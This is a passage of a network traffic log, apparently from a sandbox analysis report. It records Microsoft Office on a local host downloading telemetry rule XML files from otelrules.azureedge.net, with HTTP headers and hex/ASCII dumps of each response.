2024-11-12 01:14:15 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:15 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 8b3a9967-c01e-0034-76a0-342af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011415Z-17df447cdb5jg4kthC1DFWux4n0000000b4000000000ree5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:15 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	49854	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:15 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:15 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:15 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 72e3f643-801e-007b-5dd2-2ce7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011415Z-16547b76f7fp46ndhC1DFW66zg0000000f0g00000000708r x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 01:14:15 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:15 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:15 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:15 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 59c13bf8-301e-0052-7ca0-3465d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011415Z-17df447cdb5rnd49hC1DFWgmpw00000005pg0000000024e3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:15 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:15 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:16 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:16 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 8dbb6d01-901e-005b-07a0-342005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011415Z-15869dbbcc6rmhmhhC1DFWr8y000000006yg00000000e45q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:16 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:15 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:16 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:15 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: d5f81cfa-001e-0017-1dd2-2c0c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011415Z-16547b76f7fr4g8xhC1DFW9cqc0000000e3g00000000cwkq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 01:14:16 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	49858	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:16 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:16 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:16 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 8a5e2199-d01e-0014-3f2b-2ced58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011416Z-16547b76f7fj897nhC1DFWdwq40000000etg000000009rhu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 01:14:16 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:16 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:16 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:16 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: f61ab913-a01e-006f-21a0-3413cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011416Z-15869dbbcc6bmgjfhC1DFWzfzs00000006ag00000000emym x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:16 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:16 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:16 UTC	495	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:16 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: f6eefceb-a01e-001e-33a0-3449ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011416Z-17df447cdb5jg4kthC1DFWux4n0000000bb0000000002abt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:16 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	49862	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:16 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:16 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:16 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: a14a0ed7-201e-0096-78aa-31ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011416Z-16547b76f7fj5p7mhC1DFWf8w40000000ez000000000mf8a x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 01:14:16 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:16 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:17 UTC	495	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:17 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 88f0b540-e01e-0033-5da0-344695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011416Z-15869dbbcc6vr5dxhC1DFWyw4g00000000xg00000000p4xp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:17 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	49863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:17 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:17 UTC	495	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:17 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 5703df49-f01e-005d-5fa0-3413ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011417Z-15869dbbcc6zbpm7hC1DFW75xg0000000890000000005qg5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:17 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	49865	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:17 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:17 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:17 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 081c3a8e-a01e-0053-58d2-2c8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011417Z-16547b76f7f9bs6dhC1DFWt3rg0000000ezg000000003n27 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 01:14:17 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	49866	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
